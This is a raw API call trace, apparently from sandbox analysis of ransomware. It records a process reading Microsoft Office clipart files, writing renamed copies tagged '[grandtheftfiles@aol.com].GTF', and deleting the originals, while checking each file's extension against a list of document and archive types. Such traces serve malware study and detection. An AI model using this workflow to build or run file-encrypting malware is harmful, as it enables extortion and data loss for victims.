	[0086.269] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.269] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.269] SetEndOfFile (hFile=0x2d0) returned 1
	[0086.270] CloseHandle (hObject=0x2d0) returned 1
	[0086.270] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.270] SetEndOfFile (hFile=0x2fc) returned 1
	[0086.271] CloseHandle (hObject=0x2fc) returned 1
	[0086.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.271] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01179_.wmf")) returned 1
	[0086.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.271] lstrlenW (lpString=".doc") returned 4
	[0086.271] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.271] lstrlenW (lpString=".docx") returned 5
	[0086.271] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.271] lstrlenW (lpString=".pdf") returned 4
	[0086.271] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.271] lstrlenW (lpString=".xls") returned 4
	[0086.271] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.271] lstrlenW (lpString=".xlsx") returned 5
	[0086.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.271] lstrlenW (lpString=".ppt") returned 4
	[0086.271] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.271] lstrlenW (lpString=".zip") returned 4
	[0086.271] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.271] lstrlenW (lpString=".rar") returned 4
	[0086.271] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.271] lstrlenW (lpString=".bz2") returned 4
	[0086.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.272] lstrlenW (lpString=".7z") returned 3
	[0086.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.272] lstrlenW (lpString=".dbf") returned 4
	[0086.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.272] lstrlenW (lpString=".1cd") returned 4
	[0086.272] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.272] lstrlenW (lpString=".jpg") returned 4
	[0086.272] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.272] lstrlenW (lpString=".doc") returned 4
	[0086.272] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.272] lstrlenW (lpString=".docx") returned 5
	[0086.272] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.272] lstrlenW (lpString=".pdf") returned 4
	[0086.272] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.272] lstrlenW (lpString=".xls") returned 4
	[0086.272] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.272] lstrlenW (lpString=".xlsx") returned 5
	[0086.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.272] lstrlenW (lpString=".ppt") returned 4
	[0086.272] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.272] lstrlenW (lpString=".zip") returned 4
	[0086.272] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.272] lstrlenW (lpString=".rar") returned 4
	[0086.272] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.272] lstrlenW (lpString=".bz2") returned 4
	[0086.272] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.272] lstrlenW (lpString=".7z") returned 3
	[0086.272] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.272] lstrlenW (lpString=".dbf") returned 4
	[0086.272] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.273] lstrlenW (lpString=".1cd") returned 4
	[0086.273] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 68
	[0086.273] lstrlenW (lpString=".jpg") returned 4
	[0086.273] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.273] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.273] lstrlenW (lpString="DD01180_.WMF") returned 12
	[0086.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0086.282] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2084) returned 1
	[0086.282] CloseHandle (hObject=0x2fc) returned 1
	[0086.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x220
	[0086.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0086.283] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.283] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0086.283] GetLastError () returned 0x0
	[0086.283] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x824, lpOverlapped=0x0) returned 1
	[0086.285] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x830, lpOverlapped=0x0) returned 1
	[0086.286] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.286] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.286] SetEndOfFile (hFile=0x2d0) returned 1
	[0086.286] CloseHandle (hObject=0x2d0) returned 1
	[0086.286] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.286] SetEndOfFile (hFile=0x2fc) returned 1
	[0086.287] CloseHandle (hObject=0x2fc) returned 1
	[0086.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.287] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01180_.wmf")) returned 1
	[0086.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.287] lstrlenW (lpString=".doc") returned 4
	[0086.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.287] lstrlenW (lpString=".docx") returned 5
	[0086.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.287] lstrlenW (lpString=".pdf") returned 4
	[0086.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.287] lstrlenW (lpString=".xls") returned 4
	[0086.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.288] lstrlenW (lpString=".xlsx") returned 5
	[0086.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.288] lstrlenW (lpString=".ppt") returned 4
	[0086.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.288] lstrlenW (lpString=".zip") returned 4
	[0086.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.288] lstrlenW (lpString=".rar") returned 4
	[0086.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.288] lstrlenW (lpString=".bz2") returned 4
	[0086.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.288] lstrlenW (lpString=".7z") returned 3
	[0086.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.288] lstrlenW (lpString=".dbf") returned 4
	[0086.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.288] lstrlenW (lpString=".1cd") returned 4
	[0086.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.288] lstrlenW (lpString=".jpg") returned 4
	[0086.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.288] lstrlenW (lpString=".doc") returned 4
	[0086.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.288] lstrlenW (lpString=".docx") returned 5
	[0086.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.288] lstrlenW (lpString=".pdf") returned 4
	[0086.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.288] lstrlenW (lpString=".xls") returned 4
	[0086.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.288] lstrlenW (lpString=".xlsx") returned 5
	[0086.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.288] lstrlenW (lpString=".ppt") returned 4
	[0086.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.289] lstrlenW (lpString=".zip") returned 4
	[0086.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.289] lstrlenW (lpString=".rar") returned 4
	[0086.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.289] lstrlenW (lpString=".bz2") returned 4
	[0086.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.289] lstrlenW (lpString=".7z") returned 3
	[0086.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.289] lstrlenW (lpString=".dbf") returned 4
	[0086.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.289] lstrlenW (lpString=".1cd") returned 4
	[0086.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 68
	[0086.289] lstrlenW (lpString=".jpg") returned 4
	[0086.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.289] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.289] lstrlenW (lpString="DD01181_.WMF") returned 12
	[0086.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0086.289] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=1448) returned 1
	[0086.289] CloseHandle (hObject=0x2fc) returned 1
	[0086.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x220
	[0086.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0086.290] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.290] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0086.290] GetLastError () returned 0x0
	[0086.290] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x5a8, lpOverlapped=0x0) returned 1
	[0086.292] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x5b0, lpOverlapped=0x0) returned 1
	[0086.293] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.293] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0086.293] SetEndOfFile (hFile=0x2d0) returned 1
	[0086.293] CloseHandle (hObject=0x2d0) returned 1
	[0086.293] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.293] SetEndOfFile (hFile=0x2fc) returned 1
	[0086.294] CloseHandle (hObject=0x2fc) returned 1
	[0086.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0086.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01181_.wmf")) returned 1
	[0086.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.298] lstrlenW (lpString=".doc") returned 4
	[0086.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.298] lstrlenW (lpString=".docx") returned 5
	[0086.298] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.298] lstrlenW (lpString=".pdf") returned 4
	[0086.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.298] lstrlenW (lpString=".xls") returned 4
	[0086.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.298] lstrlenW (lpString=".xlsx") returned 5
	[0086.298] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.298] lstrlenW (lpString=".ppt") returned 4
	[0086.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.298] lstrlenW (lpString=".zip") returned 4
	[0086.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.298] lstrlenW (lpString=".rar") returned 4
	[0086.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.298] lstrlenW (lpString=".bz2") returned 4
	[0086.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.298] lstrlenW (lpString=".7z") returned 3
	[0086.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.298] lstrlenW (lpString=".dbf") returned 4
	[0086.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.298] lstrlenW (lpString=".1cd") returned 4
	[0086.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.299] lstrlenW (lpString=".jpg") returned 4
	[0086.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.299] lstrlenW (lpString=".doc") returned 4
	[0086.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString=".docx") returned 5
	[0086.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.299] lstrlenW (lpString=".pdf") returned 4
	[0086.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString=".xls") returned 4
	[0086.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.299] lstrlenW (lpString=".xlsx") returned 5
	[0086.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.299] lstrlenW (lpString=".ppt") returned 4
	[0086.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.299] lstrlenW (lpString=".zip") returned 4
	[0086.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.299] lstrlenW (lpString=".rar") returned 4
	[0086.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString=".bz2") returned 4
	[0086.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString=".7z") returned 3
	[0086.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.299] lstrlenW (lpString=".dbf") returned 4
	[0086.299] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.299] lstrlenW (lpString=".1cd") returned 4
	[0086.299] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 68
	[0086.299] lstrlenW (lpString=".jpg") returned 4
	[0086.299] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.300] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0086.300] lstrlenW (lpString="DD01182_.WMF") returned 12
	[0086.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0086.300] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2996) returned 1
	[0086.300] CloseHandle (hObject=0x2fc) returned 1
	[0086.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf")) returned 0x220
	[0086.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0086.300] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.300] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01182_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01182_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0086.301] GetLastError () returned 0x0
	[0086.301] ReadFile (in: hFile=0x2fc, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0xbb4, lpOverlapped=0x0) returned 1
